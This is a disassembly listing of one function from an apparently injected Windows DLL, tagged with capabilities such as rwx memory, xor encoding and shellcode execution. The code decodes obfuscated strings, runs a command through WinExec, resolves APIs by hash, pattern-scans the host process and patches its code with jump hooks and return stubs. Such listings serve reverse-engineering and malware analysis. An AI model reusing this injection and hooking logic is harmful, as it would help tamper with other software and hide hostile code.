Function at 0x10008940
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c4
mov eax, dword [0x10025018]
xor eax, esp
mov dword [esp + 0x2c0], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x1000922b
lea eax, [esp + 0xb8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor ebx, ebx
mov ecx, 0xdf
xor eax, eax
mov dl, byte [eax + 0x1001fe48]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x50], dl
inc eax
and ecx, 0xff
cmp eax, 0x36
jb 0x10008991
lea eax, [esp + 0xb8]
push eax
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0x1c8]
push edx
mov byte [esp + 0x92], bl
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x37
lea eax, [esp + 0x54]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
lea ecx, [esp + 0x1c4]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea edx, [esp + 0xbc]
push ebx
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea eax, [esp + 0x1c4]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp byte [0x4d1e69], 0xeb
jne 0x10008a28
call fcn.10015730
mov ecx, 0x1f247c33
lea eax, [esp + 0x18]
call fcn.10009350
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov word [esp + 0x20], ax
mov byte [esp + 0x22], al
mov ecx, 0x5cc7834f
lea eax, [esp + 0x44]
call fcn.100098d0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x44], ecx
mov dword [esp + 0x48], ecx
mov word [esp + 0x4c], cx
call eax
mov byte [0x11182a1d], 1
call fcn.100040c0
lea ecx, [esp + 0x88]
push ecx
mov ebx, 0x10
mov eax, 0x400000
mov dword [esp + 0x8c], 0xc708c483
mov dword [esp + 0x90], 0xffffff05
mov dword [esp + 0x94], 0x46ff
mov dword [esp + 0x98], 0x68006a00
call fcn.10015630
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
test eax, eax
je 0x10008b26
mov edx, dword [eax + 0x1f]
lea esi, [eax + 0x1e]
lea ebx, [esi + edx + 5]
lea eax, [ebx + 0xa]
mov dword [0x10025328], eax
mov ecx, dword [eax + 1]
lea edx, [eax + ecx + 5]
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push ebx
mov dword [0x10025328], edx
call edi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push eax
mov ecx, 0x10004150
sub ecx, ebx
push 5
sub ecx, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], ecx
call edi
call fcn.10013850
jmp 0x10008b51
mov ecx, 0xef
xor eax, eax
lea ecx, [ecx]
mov dl, byte [eax + 0x1001fe8c]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x88], dl
inc eax
and ecx, 0xff
cmp eax, 0x11
jb 0x10008b30
call fcn.10015730
lea eax, [esp + 0x88]
push eax
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x8c], 0xffffffa1
mov dword [esp + 0x90], 0xffffffff
mov dword [esp + 0x94], 0xffff8b32
mov dword [esp + 0x98], 0xffffffff
mov dword [esp + 0x9c], 0x78ffffff
mov dword [esp + 0xa0], 0x8bffff89
mov word [esp + 0xa4], 0x8ff
mov byte [esp + 0xa6], 0x51
call fcn.10015630
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x10008ea7
mov ecx, dword [eax + 1]
lea edx, [esp + 0x88]
mov byte [esp + 0xa8], bl
push edx
mov ebx, 0x21
mov eax, 0x400000
mov dword [0x11182a68], ecx
mov dword [esp + 0x8c], 0xffffffa1
mov dword [esp + 0x90], 0xffff89ff
mov dword [esp + 0x94], 0x83ffffff
mov dword [esp + 0x98], 0xffffffff
mov dword [esp + 0x9c], 0xffff02ff
mov dword [esp + 0xa0], 0xffffff83
mov dword [esp + 0xa4], 0x7404ffff
mov dword [esp + 0xa8], 0x6affebff
call fcn.10015630
xor ebx, ebx
add esp, 4
mov dword [0x11182a6c], eax
cmp eax, ebx
je 0x10008c60
mov eax, dword [eax + 1]
mov dword [0x11182a6c], eax
jmp 0x10008cae
mov ecx, 0xba
xor eax, eax
mov dl, byte [eax + 0x1001fea0]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10008c67
lea eax, [esp + 0x34]
push eax
push ebx
mov ecx, 0x10125528
mov byte [esp + 0x4b], bl
call fcn.1000acc0
xor eax, eax
add esp, 8
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
call fcn.10015730
lea ecx, [esp + 0x88]
push ecx
mov ebx, 0x17
mov eax, 0x400000
mov dword [esp + 0x8c], 0x8e68
mov dword [esp + 0x90], 0xc16800
mov dword [esp + 0x94], 0xff8d0000
mov dword [esp + 0x98], 0xffffffff
mov dword [esp + 0x9c], 0xffffffe8
mov word [esp + 0xa0], 0x6aff
mov byte [esp + 0xa2], 2
call fcn.10015630
mov esi, eax
add esp, 4
test esi, esi
je 0x10008e7d
lea edx, [esp + 0x88]
push edx
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x8c], 0xffffffa1
mov dword [esp + 0x90], 0xffffffff
mov dword [esp + 0x94], 0xffff8b32
mov dword [esp + 0x98], 0xffffffff
mov dword [esp + 0x9c], 0x78ffffff
mov dword [esp + 0xa0], 0x8bffff89
mov word [esp + 0xa4], 0x8ff
mov byte [esp + 0xa6], 0x51
call fcn.10015630
add esp, 4
mov dword [0x111829d8], eax
test eax, eax
je 0x10008d9c
mov eax, dword [eax + 0xb]
mov dword [0x111829d8], eax
jmp 0x10008dc4
mov ecx, 0x67
xor eax, eax
mov dl, byte [eax + str.4__58]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x88], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10008da3
call fcn.10015730
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + eax + 0x57]
lea eax, [esi + eax + 0x4c]
lea ecx, [eax + ecx + 0xf]
mov dword [0x111829d0], ecx
add ecx, 0x2d
mov dword [0x111829cc], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x111829cc], ecx
mov edx, dword [eax + 0x26]
mov dword [0x111829d4], eax
lea eax, [eax + edx + 0x2a]
lea ecx, [eax + 8]
mov dword [0x10025338], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10025338], ecx
lea ecx, [eax + 0x21]
mov dword [0x1002532c], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1002532c], ecx
lea ecx, [eax + 0x3a]
mov dword [0x10025330], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10025330], ecx
lea ecx, [eax + 0x42]
mov dword [0x10025334], ecx
mov edx, dword [ecx + 1]
mov dword [0x111829c8], eax
add eax, 0xc8
lea ecx, [ecx + edx + 5]
mov dword [0x1002533c], eax
mov dword [0x10025334], ecx
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
mov dword [0x1002533c], eax
mov dword [0x11182a70], 0x100048a0
jmp 0x10008ef7
mov ecx, 0x72
xor eax, eax
mov dl, byte [eax + 0x1001fec4]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x88], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x10008e84
call fcn.10015730
jmp 0x10008ef7
mov ecx, 0x82
xor eax, eax
mov edi, edi
mov dl, byte [eax + 0x1001fee0]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10008eb0
lea eax, [esp + 0x24]
push eax
push ebx
mov ecx, 0x10125528
mov byte [esp + 0x3b], bl
call fcn.1000acc0
xor eax, eax
add esp, 8
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call fcn.10015730
lea ecx, [esp + 0x88]
push ecx
mov ebx, 0x30
mov eax, 0x400000
mov dword [esp + 0x8c], 0xffe8c88b
mov dword [esp + 0x90], 0xe8ffffff
mov dword [esp + 0x94], 0xffffffff
mov dword [esp + 0x98], 0xffffffe8
mov dword [esp + 0x9c], 0xffffe8ff
mov dword [esp + 0xa0], 0xffe8ffff
mov dword [esp + 0xa4], 0xe8ffffff
mov dword [esp + 0xa8], 0xffffffff
mov dword [esp + 0xac], 0xffffffe8
mov dword [esp + 0xb0], 0xffffe8ff
mov dword [esp + 0xb4], 0x1b0ffff
mov dword [esp + 0xb8], 0xc35de58b
call fcn.10015630
add esp, 4
mov dword [0x10130454], eax
test eax, eax
je 0x10008fea
lea edx, [eax + 0x20]
mov dword [0x105304fc], edx
lea ebx, [eax + 0x1b]
lea edx, [esp + 0xc]
push edx
mov dword [0x105304f8], ebx
mov eax, dword [ebx + 1]
push 0x40
push 5
lea ecx, [ebx + eax + 5]
push ebx
mov dword [0x105304f8], ecx
call edi
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push edx
mov eax, 0x100049f0
sub eax, ebx
push 5
sub eax, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
call edi
jmp 0x10008fef
call fcn.10015730
mov ebx, dword [0x111829d0]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x76
push ebx
call edi
push 0x76
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push edx
push 0x76
push ebx
call edi
mov ebx, dword [0x111829c8]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x1e0
push ebx
call edi
push 0x1e0
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push edx
push 0x1e0
push ebx
call edi
mov ebx, dword [0x111829d4]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x33
push ebx
call edi
push 0x33
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push edx
push 0x33
push ebx
call edi
mov ebx, dword [0x111829d4]
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push ebx
call edi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push eax
mov ecx, 0x10004650
sub ecx, ebx
push 5
sub ecx, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], ecx
call edi
push 0x400000
push 0
push 0x101304f8
call sub.MSVCR100.dll_memset
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0x400000
push 0x101304f8
push 0x400000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push eax
call ebx
xor eax, eax
mov cl, byte [eax + 0x101304f8]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x101304f8], cl
inc eax
cmp eax, 0x400000
jb 0x100090f4
push 0xa0
push 0
push 0x10130458
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xa0
push 0x10130458
push 0x10004650
call edi
push eax
call ebx
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x10130458]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10130458], dl
inc eax
cmp eax, 0xa0
jb 0x10009140
push 0x7c
push 0
push 0x101303d8
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x7c
push 0x101303d8
push fcn.10004250
call edi
push eax
call ebx
xor eax, eax
mov cl, byte [eax + 0x101303d8]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x101303d8], cl
inc eax
cmp eax, 0x7c
jb 0x10009180
push 0x52f
push 0
push 0x1012fea8
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x52f
push 0x1012fea8
push fcn.100042d0
call edi
push eax
call ebx
xor eax, eax
mov dl, byte [eax + 0x1012fea8]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x1012fea8], dl
inc eax
cmp eax, 0x52f
jb 0x100091c4
push 0x32
push 0
push 0x1012fe3c
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x32
push 0x1012fe3c
push 0x1000de30
call edi
push eax
call ebx
xor eax, eax
mov cl, byte [eax + 0x1012fe3c]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x1012fe3c], cl
inc eax
cmp eax, 0x32
jb 0x10009204
mov edx, dword [esp + 0x14]
mov dword [0x111829e4], edx
call fcn.10011220
mov ecx, dword [esp + 0x2cc]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10018a26
mov esp, ebp
pop ebp
ret 0xc